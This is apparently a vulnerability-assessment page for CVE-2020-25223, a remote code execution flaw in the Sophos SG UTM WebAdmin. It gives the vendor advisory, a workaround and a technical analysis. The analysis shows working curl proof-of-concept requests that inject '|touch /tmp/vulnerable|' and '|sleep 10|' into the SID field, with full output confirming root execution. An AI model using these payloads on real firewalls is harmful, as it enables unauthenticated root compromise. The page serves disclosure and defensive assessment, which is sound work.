Attacker Value
Very High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2020-25223

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A remote code execution vulnerability in the WebAdmin of SG UTM was recently discovered and responsibly disclosed to Sophos. It was reported via the Sophos bug bounty program by an external security researcher. The vulnerability has been fixed.

Sophos would like to thank Łukasz Rupala for responsibly disclosing this issue to Sophos.

The remediation prevented users from remotely executing arbitrary code. There was no evidence that the vulnerability was exploited and to our knowledge no customers are impacted.

Fix included in SG UTM v9.705 MR5, v9.607 MR7, and v9.511 MR11 on September 17, 2020
Users of older versions of SG UTM are required to upgrade to receive this fix

Workaround

Customers can protect themselves by ensuring their WebAdmin is not exposed to WAN.

This can be achieved by keeping Internal (LAN) (Network) or another internal-only network definition as the sole entry in Management→WebAdmin Settings→WebAdmin Access Configuration→Allowed Networks.

Add Assessment

4
Ratings
Technical Analysis

Please see the Atredis writeup for root cause analysis.

CVE-2020-25223 has high attacker value and exploitability, since Sophos UTM is a next-generation firewall (NGFW), and the vulnerability offers unauthenticated attackers root access to a “network pivot” device, all through a single HTTP request, demonstrated below:

wvu@kharak:~$ curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|touch /tmp/vulnerable|"}'
*   Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
*  start date: Feb 24 14:46:04 2015 GMT
*  expire date: Jan 24 14:46:04 2017 GMT
*  issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 33
>
* upload completely sent off: 33 out of 33 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 04:17:09 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0
wvu@kharak:~$
host:/root # ls -l /tmp/vulnerable
-rw-r--r-- 1 root root 0 Aug 25 23:17 /tmp/vulnerable
host:/root #

Checking for the vulnerability can be accomplished by injecting a sleep command and timing the request’s completion:

wvu@kharak:~$ time curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|sleep 10|"}'
*   Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
*  start date: Feb 24 14:46:04 2015 GMT
*  expire date: Jan 24 14:46:04 2017 GMT
*  issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 20
>
* upload completely sent off: 20 out of 20 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 15:47:17 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0

real	0m10.114s
user	0m0.020s
sys	0m0.018s
wvu@kharak:~$

General Information

Additional Info

Technical Analysis